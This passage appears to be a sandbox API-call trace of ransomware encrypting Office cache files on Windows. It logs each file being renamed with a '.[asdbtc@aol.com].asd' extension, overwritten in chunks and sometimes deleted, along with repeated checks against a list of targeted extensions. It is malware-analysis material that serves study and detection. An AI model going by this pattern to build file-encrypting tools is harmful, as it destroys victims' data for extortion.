(lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0052.412] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.412] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.412] ReadFile (in: hFile=0x15c, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.458] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.458] ReadFile (in: hFile=0x15c, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.507] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.507] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.507] ReadFile (in: hFile=0x15c, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.531] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.532] WriteFile (in: hFile=0x15c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0052.822] SetEndOfFile (hFile=0x15c) returned 1 [0052.822] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005e18 [0052.825] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.825] WriteFile (in: hFile=0x15c, lpBuffer=0x4005e18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005e18*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.826] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.826] WriteFile (in: hFile=0x15c, lpBuffer=0x4005e18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005e18*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.832] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.832] WriteFile (in: hFile=0x15c, lpBuffer=0x4005e18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005e18*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.835] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005e18 | out: hHeap=0x510000) returned 1 [0052.837] CloseHandle (hObject=0x15c) returned 1 [0052.837] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0052.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.837] lstrlenW (lpString=".doc") returned 4 [0052.837] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.838] lstrlenW (lpString=".docx") returned 5 [0052.838] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.838] lstrlenW (lpString=".pdf") returned 4 [0052.838] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.838] lstrlenW (lpString=".xls") returned 4 [0052.838] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.838] lstrlenW (lpString=".xlsx") returned 5 [0052.838] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.838] lstrlenW (lpString=".ppt") returned 4 [0052.838] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.838] lstrlenW (lpString=".zip") returned 4 [0052.838] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.838] lstrlenW (lpString=".rar") returned 4 [0052.838] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.838] lstrlenW (lpString=".bz2") returned 4 [0052.838] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.838] lstrlenW (lpString=".7z") returned 3 [0052.838] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.838] lstrlenW (lpString=".dbf") returned 4 [0052.838] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.838] lstrlenW (lpString=".1cd") returned 4 [0052.838] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.838] lstrlenW (lpString=".jpg") returned 4 [0052.838] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.838] lstrlenW (lpString=".doc") returned 4 [0052.838] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.839] lstrlenW (lpString=".docx") returned 5 [0052.839] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.839] lstrlenW (lpString=".pdf") returned 4 [0052.839] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.839] lstrlenW (lpString=".xls") returned 4 [0052.839] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.839] lstrlenW (lpString=".xlsx") returned 5 [0052.839] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.839] lstrlenW (lpString=".ppt") returned 4 [0052.839] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.839] lstrlenW (lpString=".zip") returned 4 [0052.839] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.839] lstrlenW (lpString=".rar") returned 4 [0052.839] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.839] lstrlenW (lpString=".bz2") returned 4 [0052.839] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.839] lstrlenW (lpString=".7z") returned 3 [0052.839] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.839] lstrlenW (lpString=".dbf") returned 4 [0052.839] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.839] lstrlenW (lpString=".1cd") returned 4 [0052.839] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.839] lstrlenW (lpString=".jpg") returned 4 [0052.839] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.839] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0052.840] lstrlenW (lpString="GrooveLR.cab") returned 12 [0052.840] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0052.840] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=4095519) returned 1 [0052.840] CloseHandle (hObject=0x15c) returned 1 [0052.840] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0052.840] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.840] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0052.844] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0052.844] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.844] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.844] ReadFile (in: hFile=0x15c, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.848] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.848] ReadFile (in: hFile=0x15c, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.081] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0053.081] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0053.081] ReadFile (in: hFile=0x15c, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.102] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.102] WriteFile (in: hFile=0x15c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0053.478] SetEndOfFile (hFile=0x15c) returned 1 [0053.482] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4045bf8 [0053.482] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.482] WriteFile (in: hFile=0x15c, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.485] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.485] WriteFile (in: hFile=0x15c, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.487] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.487] WriteFile (in: hFile=0x15c, lpBuffer=0x4045bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045bf8*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4045bf8 | out: hHeap=0x510000) returned 1 [0053.490] CloseHandle (hObject=0x15c) returned 1 [0053.491] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0053.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.492] lstrlenW (lpString=".doc") returned 4 [0053.492] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.492] lstrlenW (lpString=".docx") returned 5 [0053.492] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.492] lstrlenW (lpString=".pdf") returned 4 [0053.493] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.493] lstrlenW (lpString=".xls") returned 4 [0053.493] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.493] lstrlenW (lpString=".xlsx") returned 5 [0053.493] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.493] lstrlenW (lpString=".ppt") returned 4 [0053.493] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.493] lstrlenW (lpString=".zip") returned 4 [0053.493] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.493] lstrlenW (lpString=".rar") returned 4 [0053.493] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.493] lstrlenW (lpString=".bz2") returned 4 [0053.493] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.493] lstrlenW (lpString=".7z") returned 3 [0053.493] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.493] lstrlenW (lpString=".dbf") returned 4 [0053.493] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.493] lstrlenW (lpString=".1cd") returned 4 [0053.493] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.493] lstrlenW (lpString=".jpg") returned 4 [0053.493] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.494] lstrlenW (lpString=".doc") returned 4 [0053.494] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.494] lstrlenW (lpString=".docx") returned 5 [0053.494] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.494] lstrlenW (lpString=".pdf") returned 4 [0053.494] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.494] lstrlenW (lpString=".xls") returned 4 [0053.494] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.494] lstrlenW (lpString=".xlsx") returned 5 [0053.494] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.494] lstrlenW (lpString=".ppt") returned 4 [0053.494] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.494] lstrlenW (lpString=".zip") returned 4 [0053.494] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.494] lstrlenW (lpString=".rar") returned 4 [0053.494] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.494] lstrlenW (lpString=".bz2") returned 4 [0053.494] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.494] lstrlenW (lpString=".7z") returned 3 [0053.494] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.494] lstrlenW (lpString=".dbf") returned 4 [0053.494] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.494] lstrlenW (lpString=".1cd") returned 4 [0053.495] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.495] lstrlenW (lpString=".jpg") returned 4 [0053.495] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.495] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0053.495] lstrlenW (lpString="dwintl20.dll") returned 12 [0053.495] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0053.497] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=107912) returned 1 [0053.497] CloseHandle (hObject=0x15c) returned 1 [0053.497] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0053.497] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.497] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0053.497] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.498] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.499] GetLastError () returned 0x0 [0053.499] ReadFile (in: hFile=0x15c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0053.650] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0053.652] ReadFile (in: hFile=0x15c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.652] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.653] SetEndOfFile (hFile=0x1dc) returned 1 [0053.653] CloseHandle (hObject=0x1dc) returned 1 [0053.653] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.653] SetEndOfFile (hFile=0x15c) returned 1 [0053.654] CloseHandle (hObject=0x15c) returned 1 [0053.654] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0053.655] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0053.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.655] lstrlenW (lpString=".doc") returned 4 [0053.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0053.655] lstrlenW (lpString=".docx") returned 5 [0053.655] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0053.655] lstrlenW (lpString=".pdf") returned 4 [0053.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0053.655] lstrlenW (lpString=".xls") returned 4 [0053.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0053.655] lstrlenW (lpString=".xlsx") returned 5 [0053.656] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0053.656] lstrlenW (lpString=".ppt") returned 4 [0053.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0053.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.656] lstrlenW (lpString=".zip") returned 4 [0053.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0053.656] lstrlenW (lpString=".rar") returned 4 [0053.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0053.656] lstrlenW (lpString=".bz2") returned 4 [0053.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0053.656] lstrlenW (lpString=".7z") returned 3 [0053.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0053.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.656] lstrlenW (lpString=".dbf") returned 4 [0053.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0053.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0053.656] lstrlenW (lpString=".1cd") returned 4 [0053.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0053.656] lstrlenW 